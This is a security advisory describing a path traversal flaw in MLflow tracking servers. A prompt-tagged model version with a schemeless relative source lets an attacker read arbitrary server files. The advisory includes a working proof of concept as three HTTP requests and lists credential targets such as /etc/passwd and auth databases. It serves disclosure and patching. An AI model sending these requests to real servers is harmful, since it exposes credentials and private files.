GHSA-m65p-9j7q-6w33: Path Traversal

Summary On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.

The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.isprompt tag rather than its value, so a false value still selected the weaker branch.

Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.

Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.

Details When creating a model version with the mlflow.prompt.isprompt tag set to true, the request is handled by the prompt branch in createmodelversion().

mlflow/server/handlers.py:2674-2690: python isprompt = ispromptrequest(requestmessage) if isprompt: source = requestmessage.source parsed = urllib.parse.urlparse(source) if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")): raise MlflowException(...) if parsed.scheme: validatenonlocalsourcecontainsrelativepaths(source) else: if requestmessage.modelid: validatesourcemodel(requestmessage.source, requestmessage.modelid) else: validatesourcerun(requestmessage.source, requestmessage.runid) The prompt branch does not call validatesourcerun(), validatesourcemodel(), or validatenonlocalsourcecontainsrelativepaths() for schemeless relative paths.

The artifact-read sink later trusts the stored source:

mlflow/server/handlers.py:2765-2782: python def getmodelversionartifacthandler(): name = request.args.get("name") version = request.args.get("version") path = request.args["path"] path = validatepathissafe(path) artifacturi = getmodelregistrystore().getmodelversiondownloaduri(name, version) ... else: artifactrepo = getartifactrepository(artifacturi) artifactpath = path

return sendartifact(artifactrepo, artifactpath) sendartifact() calls artifactrepository.downloadartifacts(path) and serves the resulting local file with sendfile().

PoC Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.

1. Create a sentinel file on the server: bash printf 'MLFLOWPWNEDSENTINELREPORT' > /tmp/sentinel-mlflow.txt

2. Send the following requests to the MLflow server to exploit the traversal:

First, create a registered model: http POST /api/2.0/mlflow/registered-models/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json

{"name": "pwned-model"}

Next, create a prompt-tagged model version with the malicious relative source ../../../tmp: http POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json

{ "name": "pwned-model", "source": "../../../tmp", "tags": [{"key": "mlflow.prompt.isprompt", "value": "true"}] }

Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter: http GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1 Host: 127.0.0.1:5000 This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).

Impact Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include: - /etc/passwd - SQLite tracking databases readable by the process (e.g., mlflow-auth.db or basicauth.db) - Environment variables or configurations stored on disk - /home/user/.bashhistory

Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.